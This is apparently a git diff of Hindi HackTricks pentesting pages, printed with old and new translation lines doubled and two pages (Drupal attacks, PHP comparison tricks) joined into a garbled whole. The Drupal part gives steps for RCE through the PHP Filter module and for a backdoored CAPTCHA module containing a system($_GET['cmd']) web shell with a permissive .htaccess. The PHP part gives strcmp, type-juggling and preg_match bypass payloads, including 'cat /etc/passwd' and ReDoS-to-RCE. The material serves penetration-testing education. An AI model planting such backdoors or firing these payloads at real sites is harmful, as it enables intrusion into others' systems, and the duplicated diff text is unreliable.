* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें और PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## खोज
* **मेटा**
* **मेटा** की जाँच करें
```bash
curl https://www.drupal.org/ | grep 'content="Drupal'
```
* **नोड**: ड्रुपल **अपनी सामग्री को नोड का उपयोग करके अनुक्रमित करता है**। एक नोड में कुछ भी हो सकता है, जैसे एक ब्लॉग पोस्ट, मतदान, लेख आदि। पृष्ठ URIs सामान्यत: रूप में होते हैं `/node/<नोड आईडी>`
* **नोड**: ड्रुपल **अपनी सामग्री को नोड का उपयोग करके अनुक्रमित करता है**। एक नोड में कुछ भी हो सकता है, जैसे एक ब्लॉग पोस्ट, मतदान, लेख आदि। पृष्ठ URI सामान्यत: रूप में होते हैं `/node/<नोड आईडी>`
```bash
curl drupal-site.com/node/1
```
## गणना
## जांच
Drupal डिफ़ॉल्ट रूप से **तीन प्रकार के उपयोगकर्ता** का समर्थन करता है:
1. **`प्रशासक`**: इस उपयोगकर्ता के पास Drupal वेबसाइट पर पूरा नियंत्रण होता है।
2. **`प्रमाणीकृत उपयोगकर्ता`**: ये उपयोगकर्ता वेबसाइट में लॉग इन कर सकते हैं और अपनी अनुमतियों के आधार पर लेख जोड़ने और संपादन करने जैसे कार्य कर सकते हैं।
2. **`प्रमाणीकृत उपयोगकर्ता`**: ये उपयोगकर्ता वेबसाइट में लॉग इन कर सकते हैं और अपनी अनुमतियों के आधार पर लेख जोड़ने और संपादन कर सकते हैं।
3. **`अनामत`**: सभी वेबसाइट आगंतुक अनामत के रूप में निर्धारित किए जाते हैं। डिफ़ॉल्ट रूप से, इन उपयोगकर्ताओं को केवल पोस्ट पढ़ने की अनुमति होती है।
### संस्करण
* `/CHANGELOG.txt` की जाच करें
* `/CHANGELOG.txt` की जाच करें
```bash
curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""
Drupal 7.57, 2018-02-21
```
{% hint style="info" %}
नए इंस्टॉल्स के ड्रुपल डिफ़ॉल्ट रूप से `CHANGELOG.txt` और `README.txt` फ़ाइलों तक पहुँच ब्लॉक करते हैं
ड्रुपल के नए स्थापनानुसार डिफ़ॉल्ट रूप से `CHANGELOG.txt` और `README.txt` फ़ाइलों तक पहुँच ब्लॉक की जाती है
{% endhint %}
### उपयोगकर्ता जांच
### उपयोगकर्ता गणना
#### रजिस्टर
#### पंजीकरण
_/user/register_ में एक उपयोगकर्ता बनाने की कोशिश करें और अगर नाम पहले से लिया गया है तो सूचित किया जाएगा:
_/user/register_ में एक उपयोगकर्ता नाम बनाने की कोशिश करें और यदि नाम पहले से लिया गया है तो सूचित किया जाएगा:
![](<../../.gitbook/assets/image (254).png>)
![](<../../.gitbook/assets/image (325).png>)
#### नया पासवर्ड अनुरोध
यदि आप किसी मौजूदा उपयोगकर्ता के लिए एक नया पासवर्ड अनुरोध करते हैं:
![](<../../.gitbook/assets/image (255).png>)
![](<../../.gitbook/assets/image (900).png>)
यदि आप किसी मौजूदा उपयोगकर्ता के लिए एक नया पासवर्ड अनुरोध करते हैं:
![](<../../.gitbook/assets/image (256).png>)
![](<../../.gitbook/assets/image (304).png>)
### उपयोगकर्ताओं की संख्या प्राप्त करें
_/user/\<number>_ तक पहुँचकर आप मौजूदा उपयोगकर्ताओं की संख्या देख सकते हैं, इस मामले में 2 है क्योंकि _/users/3_ एक खोज त्रुटि देता है:
![](<../../.gitbook/assets/image (257).png>)
![](<../../.gitbook/assets/image (330).png>)
![](<../../.gitbook/assets/image (227) (1) (1).png>)
![](<../../.gitbook/assets/image (227) (1) (1) (1).png>)
### छिपी पृष्ठ
**`/node/$` जहाँ `$` एक संख्या है** (1 से 500 तक उदाहरण के लिए)।\
आप **छिपी पृष्ठ** (टेस्ट, डेव) खोज सकते हैं जो खोज इंजन द्वारा संदर्भित नहीं हैं।
आप **छिपी पृष्ठ** (परीक्षण, डेव) खोज संचार द्वारा संदर्भित नहीं किए गए हो सकते हैं।
#### स्थापित मॉड्यूल जानकारी
```bash
@ -91,39 +96,39 @@ droopescan scan drupal -u http://drupal-site.local
```
## RCE
### PHP Filter Module के साथ
### PHP फ़िल्टर मॉड्यूल के साथ
{% hint style="warning" %}
पुराने संस्करणों में Drupal **(संस्करण 8 से पहले)** में, एडमिन के रूप में लॉग इन करना संभव था और **`PHP फ़िल्टर` मॉड्यूल को सक्षम करना** था, जो "एम्बेडेड PHP कोड/स्निपेट को मूल्यांकित करने की अनुमति देता है।"
पुराने संस्करणों में ड्रुपल **(8 संस्करण से पहले)** में, एडमिन के रूप में लॉग इन करना संभव था और **`PHP फ़िल्टर` मॉड्यूल को सक्षम करना** था, जो "एम्बेडेड PHP कोड/स्निपेट को मूल्यांकित करने की अनुमति देता है।"
{% endhint %}
आपको **प्लगइन php को स्थापित होना चाहिए** (इसे जांचने के लिए _/modules/php_ तक पहुंचें और यदि यह एक **403** लौटता है तो, **मौजूद है**, अगर **नहीं मिला**, तो **प्लगइन php स्थापित नहीं है**)
आपको **प्लगइन php स्थापित होना चाहिए** (इसे जांचने के लिए _/modules/php_ तक पहुंचें और यदि यह **403** लौटता है तो, **मौजूद है**, अगर **नहीं मिला**, तो **प्लगइन php स्थापित नहीं है**)
_मॉड्यूल_ पर जाएं -> (**जांचें**) _PHP फ़िल्टर_ -> _कॉन्फ़िगरेशन सहेजें_
![](<../../.gitbook/assets/image (247) (1).png>)
फिर _सामग्री जोड़ें_ पर क्लिक करें -> _बेसिक पेज_ या _लेख -_> शरीर में _php शैलकोड लिखें_ -> _पीएचपी कोड_ का चयन करें _पाठ स्वरूप_ में -> _पूर्वावलोकन का चयन करें_
फिर _विषय जोड़ें_ पर क्लिक करें -> _बेसिक पेज_ या _लेख चुनें_ -> _शरीर पर php शैलकोड लिखें_ -> _पीएचपी कोड_ का चयन करें _पाठ स्वरूप_ में -> _पूर्वावलोकन का चयन करें_
![](<../../.gitbook/assets/image (253) (1).png>)
![](<../../.gitbook/assets/image (335).png>)
अंत में, बस नए नोड तक पहुंचें:
अंत में, बस नए नोड पर पहुंचें:
```bash
curl http://drupal-site.local/node/3
```
### स्थापित करें PHP फ़िल्टर मॉड्यूल
### PHP फ़िल्टर मॉड्यूल इंस्टॉल करें
**8 संस्करण से**, [**PHP फ़िल्टर**](https://www.drupal.org/project/php/releases/8.x-1.1) **मॉड्यूल डिफ़ॉल्ट रूप से स्थापित नहीं है**। इस कार्यक्षमता का लाभ उठाने के लिए, हमें **मॉड्यूल स्वयं स्थापित करना होगा**।
**8 के संस्करण से**, [**PHP फ़िल्टर**](https://www.drupal.org/project/php/releases/8.x-1.1) **मॉड्यूल डिफ़ॉल्ट रूप से इंस्टॉल नहीं है**। इस फ़ंक्शन का लाभ उठाने के लिए, हमें **मॉड्यूल खुद ही इंस्टॉल करना होगा**।
1. Drupal वेबसाइट से मॉड्यूल का सबसे हाल का संस्करण डाउनलोड करें।
2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
3. डाउनलोड होने के बाद **`प्रशासन`** > **`रिपोर्ट्स`** > **`उपलब्ध अपडेट्स`** पर जाएं।
4. **`ब्राउज़ करें`** पर क्लिक करें, फ़ाइल को चुनें जिसे हमने इसे डाउनलोड किया था, और फिर **`स्थापित करें`** पर क्लिक करें।
5. एक बार जब मॉड्यूल स्थापित हो जाए, हम **`सामग्री`** पर क्लिक कर सकते हैं और **नया बेसिक पेज बना सकते हैं**, जैसा कि हमने Drupal 7 उदाहरण में किया था। फिर से, सुनिश्चित करें कि **`पाठ स्वरूप` ड्रॉपडाउन से `PHP कोड` का चयन** किया गया है
4. **`ब्राउज़ करें`** पर क्लिक करें, फ़ाइल को चुनें जिसे हमने इसे डाउनलोड किया था, और फिर **`इंस्टॉल`** पर क्लिक करें।
5. एक बार जब मॉड्यूल इंस्टॉल हो जाए, हम **`सामग्री`** पर क्लिक कर सकते हैं और **नया बेसिक पेज बना सकते हैं**, जैसा कि हमने Drupal 7 उदाहरण में किया था। फिर से सुनिश्चित करें कि **`पाठ स्वरूप` ड्रॉपडाउन से `PHP कोड` का चयन करें**।
### बैकडोर्ड मॉड्यूल
एक बैकडोर्ड मॉड्यूल तैयार किया जा सकता है **मौजूदा मॉड्यूल में एक शैल जोड़कर**। मॉड्यूल drupal.org वेबसाइट पर मिल सकते हैं। चल एक मॉड्यूल चुनते हैं जैसे कि [CAPTCHA](https://www.drupal.org/project/captcha)। नीचे स्क्रॉल करें और tar.gz [आर्काइव](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz) के लिए लिंक कॉपी करें।
एक बैकडोर्ड मॉड्यूल **मौजूदा मॉड्यूल में एक शैल जोड़कर बनाया जा सकता है**। मॉड्यूल drupal.org वेबसाइट पर मिल सकते हैं। चलिए एक मॉड्यूल चुनते हैं जैसे कि [CAPTCHA](https://www.drupal.org/project/captcha)। नीचे स्क्रॉल करें और tar.gz [आर्काइव](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz) के लिए लिंक कॉपी करें।
* आर्काइव डाउनलोड करें और उसकी सामग्री निकालें।
```
@ -136,7 +141,7 @@ tar xvf captcha-8.x-1.2.tar.gz
system($_GET["cmd"]);
?>
```
* अगले, हमें फ़ोल्डर तक पहुँचने का अधिकार देने के लिए **`.htaccess`** फ़ाइल बनानी होगी। यह जररी है क्योंकि Drupal **`/modules`** फ़ोल्डर को सीधा पहुँच देने से इनकार करता है
* अगले, हमें फ़ोल्डर तक पहुँचने का अधिकार देने के लिए **`.htaccess`** फ़ाइल बनानी होगी। यह जररी है क्योंकि Drupal **`/modules`** फ़ोल्डर को सीधा पहुँच नहीं देता
```html
<IfModule mod_rewrite.c>
RewriteEngine On
@ -148,10 +153,10 @@ RewriteBase /
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
```
* यहाँ मान लें कि हमें वेबसाइट पर **प्रशासनिक पहुंच** है, **`प्रबंधित करें`** पर क्लिक करें और साइडबार पर **`विस्तार`** पर क्लिक करें। अगले, **`+ नया मॉड्यूल स्थापित करें`** बटन पर क्लिक करें, और हमें स्थापना पृष्ठ पर ले जाया जाएगा, जैसे कि `http://drupal-site.local/admin/modules/install`। बैकडोर कैप्चा आर्काइव पर जाएं और **`स्थापित करें`** पर क्लिक करें।
* स्थापना सफल होने के बाद, **`/modules/captcha/shell.php`** पर जाएं और आदेश चलाएं।
* यह मानते हुए कि हमें वेबसाइट पर **प्रशासनिक पहुंच** है, **`Manage`** पर क्लिक करें और साइडबार पर **`Extend`** पर क्लिक करें। अगले, **`+ Install new module`** बटन पर क्लिक करें, और हमें स्थापित पृष्ठ पर ले जाया जाएगा, जैसे `http://drupal-site.local/admin/modules/install`। बैकडोर कैप्चा संग्रह को ब्राउज़ करें और **`Install`** पर क्लिक करें।
* स्थापना सफल होने पर, **`/modules/captcha/shell.php`** पर जाकर कमांड निष्पादित करने के लिए ब्राउज़ करें।
## पोस्ट घातकता
## पोस्ट एक्सप्लोइटेशन
### settings.php पढ़ें
```
@ -165,16 +170,21 @@ mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from
* [https://academy.hackthebox.com/module/113/section/1209](https://academy.hackthebox.com/module/113/section/1209)
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में** देखना चाहते हैं या **PDF में HackTricks डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह **The PEASS Family** की खोज करें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **जुड़ें** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें और PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details>

View file

@ -6,15 +6,19 @@
दूसरे तरीके HackTricks का समर्थन करने के लिए:
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह, यानी [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
</details>
## कुकीज की सामान्य स्थान:
<figure><img src="../../..https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## कुकीज कॉमन स्थान:
यह phpMyAdmin कुकीज के लिए भी मान्य है।
@ -30,30 +34,30 @@ phpMyAdmin
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
```
## भाषा तुलना को छल करना
## PHP तुलनाएँ अनदेखी करना
### ढीली तुलनाएँ/टाइप जग्गलिंग ( == )
यदि PHP में `==` का उपयोग किया जाता है, तो ऐसे अनपेक्षित मामले हो सकते हैं जहाँ तुलना उम्मीद के अनुसार व्यवहार नहीं करती। यह इसलिए है क्योंकि "==" केवल मानों की तुलना करता है जो एक ही प्रकार में परिवर्तित होते हैं, यदि आप चाहते हैं कि तुलना की गई डेटा का प्रकार भी समान हो, तो आपको `===` का उपयोग करना होगा।
यदि PHP में `==` का उपयोग किया जाता है, तो अप्रत्याशित स्थितियाँ हो सकती हैं जहां तुलना उम्मीद के अनुसार व्यवहार नहीं करती। यह इसलिए है क्योंकि "==" केवल मानों की तुलना करता है जो एक ही प्रकार में परिवर्तित होते हैं, यदि आप यह भी तुलना करना चाहते हैं कि तुलित डेटा का प्रकार भी समान है तो आपको `===` का उपयोग करना होगा।
PHP तुलना सारण: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
PHP तुलना सारणियाँ: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
![](<../../../.gitbook/assets/image (40) (1).png>)
![](<../../../.gitbook/assets/image (564).png>)
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
* `"string" == 0 -> True` एक स्ट्रिंग जो किसी संख्या से शुरू नहीं होती, ह एक संख्या के बराबर होती है
* `"0xAAAA" == "43690" -> True` दस्मलवीय या हेक्स फॉर्मेट में संख्याओं से मिलकर बनी स्ट्रिंग को अन्य संख्याओं/स्ट्रिंग्स के साथ तुलना की जा सकती है, यदि संख्याएँ समान थीं (स्ट्रिंग में संख्याएँ संख्याओं के रूप में व्याख्या की जाती हैं)
* `"string" == 0 -> True` एक स्ट्रिंग जो किसी संख्या से शुरू नहीं होती है, उसे एक संख्या के बराबर माना जाता है
* `"0xAAAA" == "43690" -> True` दस्मलव या हेक्स प्रारूप में संख्याओं द्वारा बनी स्ट्रिंग को अन्य संख्याओं/स्ट्रिंग्स के साथ तुलना की जा सकती है और यदि संख्याएं समान थीं तो परिणाम सच्चा होगा (स्ट्रिंग में संख्याएं संख्याओं के रूप में व्याख्या की जाती हैं)
* `"0e3264578" == 0 --> True` "0e" से शुरू होने वाली और कुछ भी आने वाली स्ट्रिंग 0 के बराबर होगी
* `"0X3264578" == 0X --> True` "0" से शुरू होने वाली और किसी भी अक्षर के साथ (X किसी भी अक्षर हो सकता है) और कुछ भी आने वाली स्ट्रिंग 0 के बराबर होगी
* `"0e12334" == "0" --> True` यह बहुत दिलचस्प है क्योंकि कुछ मामलों में आप "0" के स्ट्रिंग इनपुट और उसके साथ तुलना की जा रही किसी सामग्री को नियंत्रित कर सकते हैं। इसलिए, यदि आप एक मान प्रदान कर सकते हैं जो "0e" से शुरू होने वाला है और किसी भी अक्षर के बिना किसी हैश को बनाएगा, तो आप तुलना को छल सकते हैं। आप इस प्रारूप में **पहले से हैशिंग की गई स्ट्रिंग** यहाँ पा सकते हैं: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"X" == 0 --> True` स्ट्रिंग में कोई भी अक्षर अंक 0 के बराबर होता है
* `"0X3264578" == 0X --> True` "0" से शुरू होने वाली और किसी भी अक्षर के बाद (X किसी भी अक्षर हो सकता है) और कुछ भी आने वाली स्ट्रिंग 0 के बराबर होगी
* `"0e12334" == "0" --> True` यह बहुत दिलचस्प है क्योंकि कुछ मामलों में आप "0" के स्ट्रिंग इनपुट और कुछ सामग्री को नियंत्रित कर सकते हैं जो हैश किया जा रहा है और इसके साथ तुलना की जा रही है। इसलिए, यदि आप एक मान प्रदान कर सकते हैं जो "0e" से शुरू होने वाला हैश बनाएगा और किसी भी अक्षर के बिना, तो आप तुलना को छल सकते हैं। आप इस प्रारूप में **पहले से हैश की गई स्ट्रिंग** यहाँ पा सकते हैं: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"X" == 0 --> True` स्ट्रिंग में कोई भी अक्षर इंट 0 के बराबर है
अधिक जानकारी [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
### **in\_array()**
**टाइप जग्गलिंग** को डिफ़ॉल्ट रूप से `in_array()` फ़ंक्शन पर भी प्रभावित करता है (आपको एक सख्त तुलना बनाने के लिए तीसरे तर्क को सत्य रखना होगा):
**टाइप जग्गलिंग** को डिफ़ॉल्ट रूप से `in_array()` फ़ंक्शन पर भी प्रभाव डालता है (आपको एक सख्त तुलना बनाने के लिए तीसरे तर्क को सच करना होगा):
```php
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
@ -63,28 +67,26 @@ var_dump(in_array(0, $values, true));
```
### strcmp()/strcasecmp()
यदि इस फ़ंक्शन का उपयोग **किसी प्रमाणीकरण जाच** के लिए किया जाता है (जैसे पासवर्ड की जाच करना) और उपयोगकर्ता तुलना का एक पक्ष नियंत्रित करता है, तो वह पासवर्ड के मान के रूप में एक खाली सरणी भेज सकता है बजाय एक स्ट्रिंग के (`https://example.com/login.php/?username=admin&password[]=`) और इस जाच को उमकर सकता है:
यदि इस फ़ंक्शन का उपयोग **किसी प्रमाणीकरण जाच** के लिए किया जाता है (जैसे पासवर्ड की जाच करना) और उपयोगकर्ता तुलना का एक पक्ष नियंत्रित करता है, तो वह पासवर्ड के मान के रूप में एक खाली सरणी भेज सकता है बजाय एक स्ट्रिंग के (`https://example.com/login.php/?username=admin&password[]=`) और इस जाच को उमकर सकता है:
```php
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
```
वही त्रुटि `strcasecmp()` के साथ भी होती है।
### सख्त प्रकार जग्गलिंग
यद्यपि `===` का उपयोग हो रहा है, तो गलतियाँ हो सकती हैं जो तुलना को **प्रकार जग्गलिंग** के लिए संवेदनशील बना सकती है। उदाहरण के लिए, यदि तुलना **डेटा को तुलना से पहले एक विभिन्न प्रकार के ऑब्जेक्ट में परिवर्तित कर रही है**:
यद्यपि `===` का उपयोग हो रहा है तो त्रुटियाँ हो सकती हैं जो तुलना को **प्रकार जग्गलिंग** के लिए संवेदनशील बना सकती है। उदाहरण के लिए, यदि तुलना **डेटा को एक विभिन्न प्रकार के ऑब्जेक्ट में परिवर्तित कर रही है** पहले तुलना करने से:
```php
(int) "1abc" === (int) "1xyz" //This will be true
```
### preg\_match(/^.\*/)
**`preg_match()`** का उपयोग **उपयोगकर्ता इनपुट को** **मान्यता प्रदान करने** के लिए किया जा सकता है (यह **जांचता है** कि क्या **कोई शब्द/रीजेक्स** **काले सूची** से **उपयोगकर्ता इनपुट** पर **मौजूद** है और अगर नहीं है, तो कोड अपनी क्रिया जारी रख सकता है।)
**`preg_match()`** का उपयोग **उपयोगकर्ता इनपुट की पुष्टि** के लिए किया जा सकता है (यह **जांचता है** कि क्या कोई **शब्द/रीजेक्स** एक **ब्लैकलिस्ट** से **उपयोगकर्ता इनपुट** पर **मौजूद** है और अगर नहीं है, तो कोड अपनी क्रिया जारी रख सकता है।
#### नई लाइन बापास
#### नई लाइन बापास
हालांकि, जब रेजेक्स की शुरुआत को वर्गीकृत किया जाता है `preg_match()` **केवल उपयोगकर्ता इनपुट की पहली पंक्ति की जांच करता है**, फिर अगर किसी तरह से आप **इनपुट** को **कई पंक्तियों** में **भेज सकते हैं**, तो आप इस जांच को छल सकते हैं। उदाहरण:
हालांकि, जब रेजेक्स की शुरुआत को वर्गीकृत किया जाता है, `preg_match()` **केवल उपयोगकर्ता इनपुट की पहली पंक्ति की जांच करता है**, फिर अगर किसी तरह से आप इनपुट को **कई पंक्तियों में भेज सकते हैं**, तो आप इस जांच को छल सकते हैं। उदाहरण:
```php
$myinput="aaaaaaa
11111111"; //Notice the new line
@ -97,39 +99,38 @@ echo preg_match("/^.*1/",$myinput);
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
```
इस जांच को छलकरने के लिए आप **नए-लाइन्स urlencoded** (`%0A`) के साथ मान भेज सकते हैं या अगर आप **JSON डेटा** भेज सकते हैं, तो इसे **कई लाइनों** में भेजें:
इस जांच को छलकरने के लिए आप **नए लाइन्स urlencoded** (`%0A`) के साथ मान भेज सकते हैं या अगर आप **JSON डेटा** भेज सकते हैं, तो इसे **कई लाइनों** में भेजें:
```php
{
"cmd": "cat /etc/passwd"
}
```
एक उदाहरण यहाँ पाएं: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
#### **लंबाई त्रुटि बायपास**
(यह बायपास प्रायः PHP 5.2.5 पर प्रयास किया गया था और मुझे यह PHP 7.3.15 पर काम नहीं करा पाया)\
यदि आप `preg_match()` को एक मान्य बहुत **बड़े इनपुट** भेज सकते हैं, तो यह **इसे प्रोसेस करने में सक्षम नहीं होगा** और आपको **चेक को बायपास** करने की अनुमति होगी। उदाहरण के लिए, यदि यह एक JSON को ब्लैकलिस्ट कर रहा है तो आप भेज सकते हैं:
(यह बायपास प्रायः PHP 5.2.5 पर प्रयास किया गया था और मुझे लगता है कि यह PHP 7.3.15 पर काम नहीं करता है)\
यदि आप `preg_match()` को एक मान्य बहुत **बड़े इनपुट** को भेज सकते हैं, तो यह **इसे प्रोसेस करने में सक्षम नहीं होगा** और आपको **चेक को बायपास** करने की अनुमति होगी। उदाहरण के लिए, यदि यह एक JSON को ब्लैकलिस्ट कर रहा है तो आप भेज सकते हैं:
```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
```
#### ReDoS बायपास
ट्रिक स्रोत: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223)
ट्रिक स्रोत: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) और [https://mizu.re/post/pong](https://mizu.re/post/pong)
<figure><img src="../../../.gitbook/assets/image (23).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>
संक्षेप में समस्या इसलिए होती है क्योंकि PHP में `preg_*` फ़ंक्शन [PCRE पुस्तकालय](http://www.pcre.org/) पर आधारित हैं। PCRE में कुछ नियमित अभिव्यक्तियों को बहुत सारे पुनरावृत्ति कॉल का उपयोग करके मिलाया जाता है, जिससे बहुत सारे स्टैक स्थान का उपयोग होता है। पुनरावृत्तियों की संख्या पर प्रतिबंध लगाना संभव है, लेकिन PHP में यह सीमा [डिफ़ॉल्ट रूप से 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) है जो स्टैक में फिट नहीं होता है।
संक्षेप में समस्या इसलिए होती है क्योंकि PHP में `preg_*` फ़ंक्शन [PCRE पुस्तकालय](http://www.pcre.org/) पर आधारित है। PCRE में कुछ नियमित अभिव्यक्तियाँ बहुत सारे पुनरावृत्तियों का उपयोग करके मेल की जाती है, जिससे बहुत सारे स्टैक स्थान का उपयोग होता है। पुनरावृत्तियों की संख्या पर प्रतिबंध लगाना संभव है, लेकिन PHP में यह सीमा [डिफ़ॉल्ट रूप से 100,000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) है जो स्टैक में फिट नहीं होता है।
इस पोस्ट में [इस समस्या के बारे में अधिक विस्तार से बात की गई है](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error)। हमारा काम अब स्पष्ट था:\
**एक इनपुट भेजें जो रीजेक्स को 100,000+ पुनरावृत्तियाँ करने के लिए बनाए, SIGSEGV को उत्पन्न करें, `preg_match()` फ़ंक्शन को `false` लौटाएं जिससे एप्लिकेशन सोचे कि हमारा इनपुट हानिकारक नहीं है, और पेलोड के अंत में कुछ ऐसा चौंकाने वाला फ़ंक्शन डालें `{system(<verybadcommand>)}` ताकि SSTI --> RCE --> ध्वज मिले :)**।
इस पोस्ट में जिस Stackoverflow धागे को भी लिंक किया गया था, वहां इस मुद्दे के बारे में अधिक विस्तार से चर्चा की गई थी। हमारा कार्य अब स्पष्ट था:\
**एक इनपुट भेजें जो रीजेक्स को 100,000+ पुनरावृत्तियों को करने के लिए बनाए, SIGSEGV को उत्पन्न करें, `preg_match()` फ़ंक्शन को `false` लौटाएं जिससे एप्लिकेशन सोचे कि हमारा इनपुट हानिकारक नहीं है, अंत में पेयलोड में कुछ ऐसा चमत्कार फेंकें `{system(<verybadcommand>)}` ताकि SSTI --> RCE --> ध्वज मिले :)**।
ठीक है, रीजेक्स शब्दों में, हम वास्तव में 100k "पुनरावृत्तियाँ" नहीं कर रहे हैं, बल्कि हम "पीछे हटने के कदम" गिन रहे हैं, जैसा कि [PHP दस्तावेज़ीकरण](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) इसे `pcre.backtrack_limit` चर में 1,000,000 (1M) डिफ़ॉल्ट करता है।\
